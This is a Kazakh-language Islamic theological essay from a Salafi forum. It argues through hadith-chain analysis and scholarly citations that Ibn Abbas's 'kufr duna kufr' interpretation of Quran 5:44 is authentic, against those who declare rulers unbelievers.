Үшіншіден, тек босаңдық жасайтындарымен танылған имамдар ғана Хишамды сенімді деген мәлімдеме имам Абу Хатим оны сенімді деп санағандығы себепті шындыққа қайшы келеді. Мысалы, Ибн Аби Хатим Хишамды әлсіз деп санаған имамдардың айтқан сөздерін келтіріп, оның өмірбаянын өзінің әкесі Абу Хатимнің мына сөздерімен аяқтаған: “Меккелік, оның хадистерін жазып алу керек”. Қз.: “әл-Жәрх уа-тта’диль” 9/53.
Ал Абу Хатимге келер болсақ, оның абырой-беделі және оны имамдар «әл-жарх уәт-т’адиль ғылымының имамы» деп атағаны белгілі! Имам әз-Захаби ол туралы былай деген: “Егер Абу Хатим әлдебіреуді сенімді деп атаған болса, оның сөздеріне ілес, өйткені ол хадисі сенімді (сахих) болғаннан өзге ешкімді сенімді деп атамаған!” Қз.: “әс-Сияр” 13/260.
Бірақ ең таң қалдыратыны бұл хабардың сенімділігін теріске шығарушылардың Абу Хатимның «Оның хадистерін жазып алу керек» деген сөздері мұндай жеткізушіге сүйенуге болатындығына нұсқамайды деп айтатындығы, бұдан қалса олар Абу Хатим осы сөздерімен Хишамды әлсіз деп санады деп мәлімдегені.
Ақиқатында, бұл бір таң қаларлық нәрсе! Хафиз Ибн Хажжар: «Кім қандай да бір ғылым туралы білімсіз сөйлесе, таң қаларлық нәрселерді айтады!», - деп ақиқатты айтқан.
Ендеше, осы терминді түсіну үшін Абу Хатимның ұлына жүгінейік. Ибн Аби Хатим хадистану ғылымындағы терминологиялар туралы былай деп айтатын: “Егер әлдебіреу туралы: «Ол шыншыл, - немесе: - Оған қатысты проблема жоқ», - деп айтылса, онда мұндай жеткізуші хадистерін жазып алуға және оларға қарауға болатындардың қатарынан, әрі бұл (жеткізушілердің сенімділігіне қатысты) екінші дәреже”. Қз.: “әл-Жәрх уа-та’диль” 2/37.
Имам әз-Захаби де, егер жеткізушілер туралы: «Оның хадистерін жазып алу керек, - деп, немесе: - Оған қатысты проблема жоқ, - немесе: - Шейх», - деп айтылса, онда бұл жархқа (сенімсіздендіруге) емес, та’дильге (сенімділігін растауға) қатысты дегенді айтқан. Қз.: “әл-Муғни” 1/4.
Имамдар Хишам ибн Хужжайрдың сенімділігі туралы келіспеушілікте болғаны анық болды, алайда ешкім, тіпті оны әлсіз жеткізуші деп санаған имамдардар да, оның хабарлары қабылдануға болмайтындығы туралы ешқандай салмақты дәйектер келтірмеген. Осы себепті хафиз Ибн Хажжар ол туралы: “Шыншыл, бірақ қателіктер жіберетін”, - деп айтқан. Қз.: “әт-Тақриб” 7288.
Сондықтан да әл-Бухари мен Муслим сынды имамдар иснадында (жеткізушілер тізбегінде) Хишам ибн Хужжайр болған кейбір хадистерді қолданатын, мысалы әл-Бухари мен Муслимде келтірілетін мына атақты хадис: «Бірде пайғамбар Сулейман ибн Дауд, оларға Аллаһтың сәлемі болсын: “Бүгінгі түннің ішінде жетпіс әйелімді өтіп шығамын, әрі олардың әрқайсысы маған Аллаһтың жолында соғысатын ұл туып береді деп ант етемін!”, - деді. Ал оған: “«Инша-Аллаһ», - деп айт”, - деп айтылғанда, ол ұмытты да, мұны айтпады. Әрі оның әйелдерінің ешқайсысы құрсақ көтермеді, денесінің жартысы жоқ бала туған жалғыз біреуінен басқа. Ал егер ол: “Инша-Аллаһ”, - деп айтқанда, оның қалауы іске асар еді». әл-Бухари 3424, 6639, Муслим 1654.
Тізбегінде Хишам бар бұл хадистің нұсқасы Муслимде 1654-саннан кейін 23-санмен келтіріледі.
Сөйтіп, Хишам ибн Хужжайрды жеткізуші ретінде Абу Хатим, Ибн Шубрума, Ибн Са’д, әл-‘Ижжли, Ибн Шахин, әс-Сажжи, Ибн Хиббан және әз-Захаби сынды имамдар сенімді деп санаған.
Осы айтылғандардың негізінде мұндай жеткізушінің хадистері жақсы (хасан) деңгейден төмен түсірілмейді, әрі осы себепті Ибн ‘Аббастың: «Куфр дуна куфр», - деп айтқан хабарын имам әл-Хаким, әз-Захаби, әл-Әлбани, Ибн Баз, Ибн ‘Усаймин және басқалар растаған. Бұдан қалса, бұл хабарға ертедегі имамдардың барлығы дерлік сүйенген, әрі оны сенімді (сахих) деп санап, дәлел ретінде келтірген, бұл туралы, инша-Аллаһ, төменде сөз болатынындай.
Ибн ‘Аббастың осы хабарының әлсіздігіне дәлел етілген екінші себеп – Хишамның одан сенімділеу болған және Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты: «Бұл күпірлік», - деп айтқанын, әрі мұны кіші күпірлік деп атамағанын жеткізген жеткізушілерге қайшы шыққандығы-мыс. Әрі осы себепті олар Хишам Ибн ‘Аббастың сөздерін осы мағынамен жеткізген жалғыз жеткізуші болған деп айтады.
Бұл дәйекетердің барлығы алдыңғылары сияқты, бұдан қалса, бұл мәлімдемелерге берілетін жауап, Аллаһтың рұқсатымен бірінші айыптауға жауап болған нәрселерді нығайтып күшейтеді ғана.
Біріншіден, олардың «Хишам ибн Хужжайр Ибн ‘Аббастан осындай мағынаны жеткізген жалғыз адам болды» деп айтқанына келер болсақ, бұл - не өтірік, не осы мәселедегі шынайы жағдайды білмеу. Керісінше, тура осы мағынамен айтылған сөздер Ибн ‘Аббастан басқа, онда Хишам ибн Хужжайр жоқ иснадпен де келтіріледі. ‘Абдуллаһ ибн Салих Му’ауия ибн Салихтан, ол ‘Али ибн Аби Тальхадан, Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар – кәпірлер» деген аятқа қатысты: “Кім Аллаһтың түсіргенін жоққа шығарса, сол күпірлікке түсті. Ал кім осыны мойындаса, бірақ осыған сәйкес емес үкім етсе, сол залым және бұзақы!”, - деп айтқанын жеткізеді. әт-Табари 6/166, Ибн Аби Хатим 4/1142.
Бұл хабардың жеткізушілерінің барлығы сенімге лайықты. Алайда имамдардың арасында ‘Али ибн Аби Тальха Ибн ‘Аббастан хадистер естігендігі жөнінде келіспеушіліктер бар. Имам Абу Жа’фар ән-Нахас: “‘Али ибн Аби Тальха туралы жаман айтатындар оның Ибн ‘Аббастан хадистер естімегендігін және ол Ибн ‘Аббастан емес, Мужжахид пен ‘Икримадан тәпсір алғандығын айтады. Бұл сөздер іс жүзінде кінәлау болып табылмайды, өйткені ‘Али ибн Аби Тальха тәпсірді екі сенімді адамнан алды, әрі өзі де сенімді әрі шыншыл болған!” Қз.: “ән-Насих уәл-мансух” 75.
Имам әс-Суюты былай деп жазатын: “Кейбіреулер Ибн Аби Тальха Ибн ‘Аббастан тәпсірді естімеген, ол тәпсірді Мужжахидтен және Са’ид ибн Жубайирден алған дейді. Хафиз Ибн Хажжар ол сенімді жеткізуші деп айтқан, әрі бұл кінәлауда салмақты ешнәрсе жоқ!» Қз.: “әл-Итқан” 2/188.
Сонымен, бұл хабардың иснады жақсы (хасан). Қз.: “Қурратуль-‘уюн” 71.
Ибн ‘Аббастан жеткен бұл хабар мағынасы бойынша «Күпірліктен кіші күпірлік» («Куфр дуна куфр») хабарына сәйкес емес пе?! Ибн ‘Аббастың бұл аяттағы «кәпірлер» деген сөзді кіші күпір деп тәпсірлегені сол хабардан айқын болып тұрған жоқ па?!
Сондай-ақ Тауустың былай деп баяндағаны жеткізіледі: “Мен Ибн ‘Аббастан: “Кім Аллаһтың түсіргенінінің негізінде емес (басқамен) үкім етсе, сол кәпір ме?», - деп сұрадым. Ол: «Бұл күпірлік Аллаһқа, Оның періштелеріне, кітаптарына, пайғамбарыларына және Қиямет күніне деген күпірлік сияқты емес!», - деді“. әт-Табари 10/355, Ибн Батта 2/735.
Бұл хабарды әл-Хасан Абу Усаманың сөзінен, ол Суфьяннан, ол Му’мардан, ал ол Ибн Тауустан жеткізген.
Бұл хабардың барлық жеткізушілері сенімді әрі шыншыл. Әрі бұл хабар сенімді (сахих).
Алайда кері пікірдің жақтаушылары имам Ибн Са’дтың Хаммад ибн Усама деген атпен танымал Абу Усамадан ол оны шыншыл, бірақ тадлиспен айналысатын (хадистерді араластыратын) дегенін жеткізген.
Ал іс жүзінде Ибн Са’д жеткізуші Абу Усаманы ол тадлиспен айналысады деп айыптаған жалғыз адам еді, бұған қоса ол бұл айыптауына дәлел келтірмеді. Сол себептен одан бұл сөздер қабылданбаған еді. Хафиз Ибн Хажжар Абу Усама туралы: “Ол шыншылдығында бірауызды келісім болған сенімді имамдардың қатарынан еді», - деген. Қз.: “Хадью-ссари” 399.
Ал имам әз-Захаби: “Абу Усама – лайықты (беделді) жеткізушілердің қатарынан, әрі ол туралы (ол тадлиспен айналысатын еді деп) айтылған бұл сөздер – өтірік!” Қз.: “әл-Мизан” 1/588.
Сөйтіп, бұл хабар да дәйекті кінәлары жоқ сенімді болып табылады.
Сондай-ақ, Ибн ‘Аббастан басқа иснадпен «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты: “Бұл діннен шығармайтын күпірлік!», - деп айтқаны жеткізіледі. әт-Табари 6/256, Ибн Наср 574.
Сондай-ақ ‘Ата ибн Аби Раббахтан Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер»; «Және кім Аллаһ түсірген заң бойынша билік етпесе, міне солар залымдар»; «Кім Аллаһтың нұсқауымен үкім етпесе, міне солар бұзақылар» (әл-Маида 5: 44, 45, 47) деген аяттар туралы: “Бұл күпірліктен кіші күпірлік, зұлымдықтан кіші зұлымдық және бұзақылықтан кіші бұзақылық”, - дегені жеткізіледі. Қз.: “Тафсир Ибн Касир” 2/97, “әд-Дур әл-мансур” 3/87.
Ибн ‘Аббастан жеткен бұл хабарлардың барлығының мағынасы бір: «Куфр дуна куфр», яғни діннен шығармайтын күпірлік. Және бұл хабарларда Хишам ибн Хужжайр жоқ.
Бірақ тіпті егер біреу бұл кейбір нұсқаларда әлсіз жеткізушілер бар деп айтса да, бұл хабарлар біртұтас жиналғанда бірін бірі күшейтеді, әрі осыда ешқандай күмән болуы мүмкін емес.
Өйткені бұл хабарларды жеткізушілердің арасында өтірікте, бұзықылықта және тадлисте айыпталған бірде-бір адам жоқ. Егер олардың арасында әлсіз деп саналған біреу-міреу болса да, сөз оның есте сақтауының әлсіздігі немесе хадистерде шатасуы туралы болған еді. Ал бірнеше әлсіз хабарлар, егер олардың жеткізу тізбектерінде өтірікшілікте, бұзақылықта немесе фальсификацияда айыпталған ешкім болмаса, бірінің сенімділік дәрежесін бірі күшейтетіні жақсы белгілі. Қз.: “Қауа’ид әт-тахдис” 90, “Шарх ән-нухба” 25.
Әрі бұл осы тақырып бойынша келетін хабарлардың ішінде иснадының сенімділігі күн секілді хабарлар бар екендігін айтпағанның өзінде!
Сондықтан да бізге Хишамның Ибн ‘Аббастан осы хабарды «Куфр дуна куфр» мағынасымен жеткізген жалғыз адам болмағандығы айқын болды.
Екіншіден, Ибн ‘Аббас «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» аятына қатысты: «Бұл күпірлік», - деп айтқан хабарды дәйек ретінде пайдалану айқын тадлис болып табылады! Осы дәйекті келтіргендердің ешқайсысы Тауустың баласының сөздерінен жеткізілетін бұл хабарды соңына дейін келтірмеген, ал онда Ибн ‘Аббас: «Бұл күпірлік, - деп айтқан сөздерінен соң: - Алайда бұл Аллаһқа, Оның періштелеріне, кітаптарына және елшілеріне қатысты күпірлік сияқты емес!», - деп айтқан. Қз.: “Тафсир әт-Табари” 6/256, “Та’зыму қадри-ссалә” 570.
Ал ендеше, осындай (күмәндарды) таратып жүрген адамдардың ықыластары мен тақуалығы қайда?! Сонда өзіңнің сеніміңді, тіпті егер ол бұрмалауға негізделген болса да, кез келген жолмен дәлелдеу қажет пе? Ал Тауустың ұлы Ибн ‘Аббастың мазхабын осы кейбір замандастардан жақсырақ білетін еді ғой, ал Ибн ‘Аббастың шәкірті болған оның әкесінен оның: “Бұл діннен шығармайтын күпірлік!», - деп айтқаны жеткізіледі. әт-Табари 6/166, әл-Маруази 2/522. Иснады сенімді (сахих). Қз.: “әс-Сильсилә әс-сахиха” 6/114.
Сондай-ақ Ибн ‘Аббастың өзінен де Тауустың ұлы атап айтқан «Бұл Аллаһқа, Оның періштелеріне, кітаптарына, пайғамбарларына және Қиямет күніне деген күпірлік сияқты емес» деген сөздер жеткізіледі, бұл алдында келтірілгендей, әрі мұның сенімділігі дәлелденгендей.
Күмән таратушылар не деп жауап берер екен?!
Бұдан қалса «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аяттың онда кіші күпірлік туралы айтылады деп айтылатын тәпсірі, Ибн ‘Аббастың шәкірттері болған Тауустан басқа да атақты ізбасарлардан (табиғиндерден) сенімді түрде жеткізіледі. Мысалы, ‘Ата бұл аятқа қатысты: “Күпірліктен кіші күпірлік, бұзақылықтан кіші бұзақылық және зұлымдықтан кіші зұлымдық!», - деп айтқан. әт-Табари 6/165, Ибн Батта 2/735. Бұл хабардың иснады сенімді (сахих), бұл туралы шейх әл-Әлбани айтқандай.
Алайда Ибн ‘Абдуль-Маннан Ибн Журайж өзінің тадлисімен белгілі, әрі ол ‘Атадан естімеген деп мәлімдеген. Қап, егер бұл адам өзі танып білгенімен ғана разы болмай, осы ғылымның имамдарына жүгінгенде еді! Иә, Ибн Журайж өзінің тадлисімен белгілі, алайда Ибн Журайж ‘Атадан жеткізгенінің дәл өзі қабылданады, өйткені ол оның сөздерін естіген, бұл туралы оның өзі: “Егер мен: «‘Ата айтты», - деп айтсам, демек бұл менің одан естігендігімді білдіреді!”, - деп айтқанындай. Қз.: “Тахзиб әт-тахзиб” 6/406.
Сондай-ақ осы аяттың осындай тәпсірі Ибн Аббастың Мужжахид пен ‘Икрима сынды оқушыларынан да жеткізіледі. Қз.: “Та’зыму қадри-ссалә” 2/522, “әл-Иман” 36, “Ахбаруль-қуда” 1/43.
Сонымен, құрметті мұсылмандар, Ибн ‘Аббастың «Куфр дуна куфр» деген тәпсірі сенімді, ал егер бұл хабар сенімді болмаса, онда сенімді не қалмақ?!
Ал осы күмәнға үлкен нүкте қою үшін, Ибн ‘Аббастың осы хабарларына сүйенген және оларды дәйек ретінде қолданған ертедегі имамдардың сөздерін келтіреміз.
Ибн ‘Аббастың хабарына сүйенген және оны дәлел ретінде келтірген әйгілі имамдардың сөздері
Жоғарыда айтылғандай, Ибн ‘Аббастың осы хабарына сүйенгендердің қатарында әһлю-Сунна уәл-жама’а имамы - Ахмад ибн Ханбаль бар. Оған “Аятта қандай күпірлік туралы айтылуда?” деген сұрақ қойылғанда, ол: “Діннен шығармайтын күпірлік, бұл Ибн ‘Аббастан жеткендей”, - деп жауап берген. Қз.: “әс-Салә уа хукму тариқиха” 49, “Суаләт Ибн Хани” 2/192, “Масаиль Абу Дауд” 114.
Сондай-ақ Ибн ‘Аббастан жеткен бұл хабарға Құран тәпсіршілерінің имамы - Ибн Жәрир әт-Табари де сүйеніп, былай деген: “Аллаһтың түсіргенін теріске шығарып, соның негізінде үкім шығармайтынның әрбірі Аллаһқа қатысты кәпір, мұны Ибн ‘Аббас айтқанындай!” Қз.: “Тафсир әт-Табари” 6/259.
Имам Абу ‘Убайд былай деп айтатын: “Аллаһтың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген сөздеріне қатысты айтар болсақ, , Ибн ‘Аббас: «Бұл күпірлік діннен шығармайды!», - деп айтқан”. Қз.: “Китабуль-иман” 47.
Имам Ибн Наср әл-Маруази, күпірлік жіктелетініне және оның Исламнан шығармайтын түрі болатынына нұсқап, былай деген: “Әрі Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты айтқан сөздері осы жайында”. Қз.: “Та’зыму қадри-ссалә” 2/520.
Имам Абу әл-Музаффар әс-Сам’ани былай деген: “Ибн ‘Аббас: «Мұсылмандарға қатысты бұл аяттың мағынасы «Куфр дуна куфр» (Күпірліктен кіші күпірлік)», - деген. Хауариждер бұл аятқа сүйеніп: «Аллаһтың түсіргенімен үкім етпейтіндер кәпірлер болып табылады», - деп айтатынын біл. Ал әһлю-Сунна: «Үкімді қалдырған кәпір болмайды», - деп айтады!” Қз.: “Тафсир әс-Сам’ани” 2/42.
Хафиз Ибн ‘Абдуль-Барр былай деп айтатын: “«Егер мұсылман адам Аллаһтың заңымен емес (басқамен) үкім етсе, бұл діннен шығаратын күпірлік емес, ол Аллаһқа, Оның періштелеріне, Кітаптарына, пайғамбарларына және Қиямет күніне күпірлік танытпайынша», - деп айтылған. Және осы тәпсір көптеген ғалымдардан жеткізіледі, олардың арасында Ибн ‘Аббас, Тауус және ‘Ата бар”. Қз.: “әт-Тамхид” 5/74.
Имам әл-Бағауи былай дейтін: “Ибн ‘Аббас, сондай-ақ Тауус: «Бұл - діннен шығаратын күпірлік емес!», - деп айтқан”. Қз.: “Тафсир әл-Бағауи” 3/61.
Имам әл-Қуртуби былай деп айтқан: “Кім Құранды тәрк етіп және Елшінің (оған Аллаһтың игілігі мен сәлемі болсын) сөздерін теріске шығарып, Аллаһтың түсіргенінің негізінде емес (басқамен) үкім етсе, сол кәпір, мұны Ибн ‘Аббас пен Мужжахид айтқандарындай!” Қз.: “Тафсир әл-Қуртуби” 6/190.
Шейхуль-Ислам Ибн Таймия былай деген: “Ибн ‘Аббас пен басқа саләфтар «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты: «Күпірліктен кіші күпірлік, бұзақылықтан кіші бұзақылық және зұлымдықтан кіші зұлымдық!», - деп айтқан. Әрі осы туралы Ахмад, әл-Бухари және басқалар атап ескерткен”. Қз.: “Мажму’уль-фатауа” 7/522.
Бұл туралы имам әл-Бухари де айтқандығына келер болсақ, шейхуль-Ислам имам әл-Бухари өзінің «Сахихындағы» бір тарауын «Куфран ‘ашир уа куфр дуна куфр» деп атағандығын меңзеп тұр.
Хафиз Ибн Хажжар: “Автордың (әл-Бухаридің) «Куфр дуна куфр» сөздеріне келер болсақ, ол осынысымен ‘Ата ибн Аби Раббах пен басқалардан жеткізілген Ахмад «әл-Иманда» келтірген хабарды меңзеп тұр”, - деген. Қз.: “Фатхуль-Бари” 1/105.
Сондай-ақ имам әс-Суюты да әл-Бухаридің «Сахихына» жасаған түсіндірмесінде «Куфр дуна куфр» сөздеріне қатысты: “Бұл Ахмад «әл-Иманда» келтіретін ‘Ата ибн Аби Раббах жеткізген хабардың сөздері”, - деп айтқан. Қз.: “әт-Тауших шарх әл-Жәми’ әс-сахих” 1/193.
Хафиз Ибн Хажжар сондай-ақ, имам әл-Бухари «Зульм дуна зульм» (Зұлымдықтан кіші зұлымдық деген) деп атаған тарауына қатысты: “Бұл тараудың аты имам Ахмад “Китаб әл-иманда” ‘Атадан келтірген хадис болып табылады. Бұл сондай-ақ Тауустың нұсқасы арқылы Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты айтқан сөздерінен тура сол мағынамен жеткізіледі”. Қз.: “Фатхуль-Бари” 1/109.
Осында Хафиз Ибн Хажжар Ибн ‘Аббастан жеткен осы хабардың сенімділік дәрежесін атап айтпағын айта кету қажет. Ал Ибн Хажжар «Фатх әл-Бариге» жазған алғысөзінде ол сенімділігі туралы айтпаған хабарлардың иснадын ол жақсы (хасан) деп санайтынын жазған.
Хафиз Ибн Раджаб имам әл-Бухаридің «Куфр дуна куфр» сөздері туралы былай деген: “Бұл сөздерімен ол кейбір күнәлардың күпірлік деп аталатынын меңзеп тұр, алайда мұның астарында діннен шығаратын күпірлік туралы айтылып тұрған жоқ. Бұл Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты: «Бұл сендер меңзеп тұрған күпірлік емес, әрі бұл діннен шығаратын күпірлік емес! Бұл куфр дуна куфр!», - деп айтқан сөздері сияқты. Осы хабарды әл-Хаким келтірген және: «Оның иснады сенімді (сахих)», - деген. Сондай-ақ Ибн ‘Аббастан осы аятқа қатысты басқа сөздер де жеткізіледі: «Бұл күпірлік, алайда Аллаһқа, періштелерге, Кітаптарға, елшілерге, Қиямет күніне деген күпірліктей күпірлік емес!» Сондай-ақ ‘Ата және басқалар да: «Куфр дуна куфр», -деп, осыны айтқан”. Қз.: Ибн Ражжаб “Фатхуль-Бари” 1/137-138.
Шейх Ибн әл-Қайим былай деген: “Ибн ‘Аббас: «Күпірліктен кіші күпірлік, зұлымдықтан кіші зұлымдық және бұзақылықтан кіші бұзақылық», - деп айтқан”. Қз.: “Мадарижжу-ссаликин” 1/335.
Шейх ‘Абдур-Рахман әс-Са’ди «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты былай деп жазған: “Ибн ‘Аббас: «Күпірліктен кіші күпірлік, зұлымдықтан кіші зұлымдық және бұзақылықтан кіші бұзақылық», - деп айтқан. Егер мұны (шариғаттың негізінде емес үкім шығаруды) рұқсат етілген деп есептесе, бұл үлкен зұлымдық болып табылады, әрі егер мұны рұқсат етпей жасаса, онда бұл үлкен күнә болады!» Қз.: “Тайсируль-Карими-р-Рахман” 296.
Сондай-ақ Ибн ‘Аббастың талқыланып жатқан хабарын: «Ибн ‘Аббас: … айтты», - деп, белгісіз түрде емес, бекітілген түрде келтірген имамдардың сөздеріне де көңіл бұрыңыздар.
Хадистану ғылымында, мұны имам ән-Науауи түсіндіргеніндей, егер имамдар хадистерге немесе қандай да бір хабарларға қатысты «жеткізіледі», «айтылған» немесе «хабарланады» деген сөздерді қолданса, онда бұл жиі жағдайда олар мұндай хабарларды не әлсіз деп санайтынын, не олардың сенімділігіне күмән келтіретінін білдіретіні өте жақсы мәлім. Алайда хабардың сенімділігі күмән туғызбаса, бұл бекітілген түрде, мысалы: «айтты», «істеді», - деп (немесе) т.с.с. айтылады. Қз.: «әл-Мажму’» 1/63.
Уа, мұсылмандар, ойланыңыздар! Осы үмметтің жоғарыда аталған имамдарының барлығы Ибн ‘Аббастан жеткен осы хабардың сенімділігіне қатысты толық адасушылықта және білместікте болды, ал аттары аталған бірнеше замандастар ақиқатта болды дегенді елестетуге болады ма? Имам әш-Шатыби былай дейтін: “Кейінгі ұрпақ алғашқы ұрпақтарда болған басшылықтан жақсы басшылықпен келе алмайды! Әрі олар шариғатты алғашқы ұрпақтардан жақсырақ білмейді!” Қз.: “әл-Мууафақат” 3/402.
Сондай-ақ шейх әл-Әлбани былай деп айтатын: “Саляфтардан бұл аяттың тәпсірінде: «куфр дуна куфр», - деп жетті. Әрі бұл Ибн ‘Аббастан сенімді түрде жеткізіледі!” Қз.: “әс-Сильсилә әс-сахиха” 6/109.
Ибн ‘Аббастың осы хабарына сүйенген және оны дәлел ретінде келтірген имамдардың сөздерін әлі ұзақ дәйексөз етуге болар еді. Бірақ қысқаша түрде Ибн ‘Аббастың бұл сөздеріне үмметіміздің мына имамдары сүйенгендігін келтірейік:
Имам әл-Хаким «әл-Мустадракта» 2/313;
Имам Ибн Батта «әл-Ибанада» 2/723;
Имам Абу Хайян өзінің «әл-Бахр әл-мухит» тәпсірінде 3/492;
Имам әл-Уахиди «әл-Уасытта» 2/191;
Имам Абу Бакр ибн әл-‘Араби өзінің«Ахкамуль-Қуран» тәпсірінде 2/624;
Имам Ибн әл-Жәузи өзінің «Задуль-масир» тәпсірінде 2/366;
Имам әл-Хазин өзінің тәпсірінде 1/310.
Хафиз Ибн Касир өзінің «Тафсируль-Қураниль-‘Азым» тәпсірінде 2/64;
Шейх Жамалюддин әл-Қасими өзінің «Махасин әт-тауиль» тәпсірінде 6/199;
Шейх Сыддық Хасан Хан «Найлюль-марамда» 2/472;
Шейх Мухаммад Амин әш-Шанқити өзінің «Адауауль-баян» тәпсірінде 2/101;
Шейх Ахмад Шакир «Та’лиқ ‘алә Тафсир әт-Табариде».
Шейх Ибн Баз өзінің «Мажму‘уль-фатауа» пәтуалар жинағында 3/990;
Шейх Ибн ‘Усаймин «Фитнату-ттакфирде» 68.
Тұрақты Комитеттің (әл-Ләжна әд-даима) ғалымдары «Фатауа әл-Ләжнада» № 5226.
Осы айтылғандардың барлығының негізінде неліктен шейх Ибн ‘Усаймин келесі сөздерді айтқаны айқын болады: “Күпірлікте айыптауға құқығы болмай күпірлікте айыптайтындар Ибн Аббастың осы хабарына наразы болғанда: «Бұл дерек қабылданбайды және Ибн Аббастан сахих түрде жетпеген», - дейді. Біз оларға (былай деп жауап береміз): Егер бұл хабарды хадистерде сізден жоғары, сізден лайықтырақ және сізден білімдірек болғандар қабылдаған және оған сүйенген болса, ол қалайша сахих болмайды?! Ал сендер: «Біз оны қабылдамаймыз», - дейсіңдер. Бірақ мәселе сендер айтқандарыңдай-ақ, яғни Ибн ‘Аббастан жеткен бұл хабар сенімді емес делік. Алайда бізде күпірлік деп аталатын, бірақ іс жүзінде онымен діннен шығаратын күпірлік айтылмайтынынына нұсқайтын Құран мен Сүннеттің мәтіндері көп! Мысалы, хадисте: «Менің үмметімде екі нәрсе күпірлік болып табылады: шыққан тегін балағаттау және өлген адамды дауыстап жоқтау!», - деп айтылады.
Бұл екі нәрсе діннен шығармайды, әрі бұда ешқандай күмән жоқ. Алайда жеткіліксіз білім, сондай-ақ жалпы шариғат ережелерін түсунудегі осалдық осы адасушылықты туғызатын нәрсе болып табылады деп айтылады ғой! Әрі бұған тағы бір нәрсені қосуға болады, ал ол – бұрыс түсінуді туғызатын жаман ниет. Өйткені адам бір нәрсені қаласа, ол өзінің барлық түсінігін қалайтын нәрсесіне бағыттайды да, содан соң мәтіндерді осыған сәйкес бұрмалай бастайды. Сондықтан да ғалымдардың атақты қағидаларының қатарына «Алдымен дәлелді қарап шық, ал содан соң оның негізінде ‘ақида құр, бірақ алдымен ‘ақиданы алып алып, содан соң оған дәлел іздеме!» деген ереже де жатады.
Сөйтіп, адасушылықты туғызатын нәрселер үшеу, олар:
1. Білімнің жетіспеушілігі;
2. Шариғаттың жалпы ережелерін осал түсіну;
3. Жаман ниетке негізделген жаман түсінік.
Ал Ибн ‘Аббастан жеткен хабарға келсек, бізге шейхуль-Ислам Ибн Таймияның, Ибн әл-Қайимның және басқалардың оған сүйенгені және оны қабылдағаны жетіп асады. Және бұл хабар сахих!” Қз.: “Фитна әт-такфир” 68-69.
Сондай-ақ шейх әл-Әлбани де: “Ибн ‘Аббастан жеткен бұл хабар такфир жамағатына және солар сияқты шектен шығушылыққа түскендердің омыртқасын сындырады!», - деген. Қз.: “әс-Сильсилә әс-сахиха” 7/135.
Шейх әл-Әлбанидің шәкірті – Салим әл-Хиләли Ибн ‘Аббастың осы тәпсіріне сүйенген және оны дәлел ретінде келтірген көптеген ертедегі имамдардың аттарын атап айтып, былай деген: “Уа, қадірлі оқырман! Есі түзу мұсылман адам осы ұлы ғалымдар бұл ғылымда (хадистануда) босаңдық жасауға жол бергендердің немесе соқыр түрде еліктеушілердің қатарында болған, ал мына ‘Абдуль-Маннан мен оның шейхы ақиқатты айтқан екі мужтахид имамдар деп ойлауға дәті барады ма?!» Қз.: “Қурратуль-‘уюн” 95.
Ең соңында Ибн ‘Аббастың «Ал кім Аллаһтың түсіргенімен үкім етпесе, міне, солар - кәпірлер» деген аятқа қатысты: «Куфр дуна куфр», - деп айтқан хабары сенімді болып табылатынын, әрі оның сенімділігіне ертедегі имамдардың ешқайсысы күмән келтірмегенін тағы да бір рет айтып кеткен жөн. Ал егер біреу мұны теріске шығарғысы келсе, онда бір ертедегі имамның болса да Ибн ‘Аббастың осы хабары сенімді емес екендігі туралы айтқан сөзін келтірсін, кері болған жағдайда барлық заманда танылған имамдарды тастап, кейбір замандастарға жүгінудің қажеті жоқ!
www.Salaf-forum.ru
Каталог: files -> book -> kaz -> manhaj
manhaj -> Әһлю-Сунна ғалымдарының Таблиғ жамағаты туралы айтқан сөздері Аса Мейірімді, ерекше Рахымды Аллаһтың атымен
manhaj -> ҰШАҚтарды басып алуғА Қатысты сұРАҚтарға имамдардың берген жауаптары
manhaj -> Ең ірі ислам ғалымдары Комитетінің жарылыстар мен қопарушы іс-әрекеттер туралы шығарған шешімі
manhaj -> Сауд Арабиясы Корольдігінің ең ірі ислам ғалымдары Комитетінің жарылыстар мен қопарушы іс-әрекеттер туралы шығарған шешімі
manhaj -> Шейх Абд әл-Азиз бин Абдуллаһ Ибн Баздың, Аллаһ оны рахымына бөлесін, шерулер мәселесі бойынша берген жауаптары
manhaj -> КҮпірлікте айыптау мәселесі бойынша шешім ең ірі ислам ғалымдары Комитетінің күпірлікте айыптау мәселесі бойынша мәлімдемесі
manhaj -> -
manhaj -> Шейх Жибриннің 2003 жылы Әр-Риядта орын алған терактілер туралы пәтуасы
manhaj -> Шейх Абдуль-Мухсин ‘Аббадтың «Талибан» қозғалысы туралы сұраққа берген жауабы
manhaj -> Бандар ибн Найиф әл-Утайби «аллаһТЫҢ ТҮсіргеніне сәйкес емес басқару (билік қҰРУ) ЖӘне шешім шығару» |
Шифрлау арқылы деректерді қауіпсіз жіберуді қамтамасыз ететін HTTPS хаттамасы қолданылады. Сайтта құпия ақпаратты (мысалы, банк картасының нөмірі) енгізуді бастамас бұрын, тақырыптағы белгішенің бар екеніне көз жеткізіңіз.
Парақша смартфоныңызға қауіп төндіруі мүмкін. Мысалы, сайт сертификаты кері қайтарылған немесе ескірген.
Белгіше
Сипаттамасы
Шифрлау арқылы деректерді қауіпсіз жіберуді қамтамасыз ететін HTTPS хаттамасы қолданылады. Сайтта құпия ақпаратты (мысалы, банк картасының нөмірі) енгізуді бастамас бұрын, тақырыптағы белгішенің бар екеніне көз жеткізіңіз.
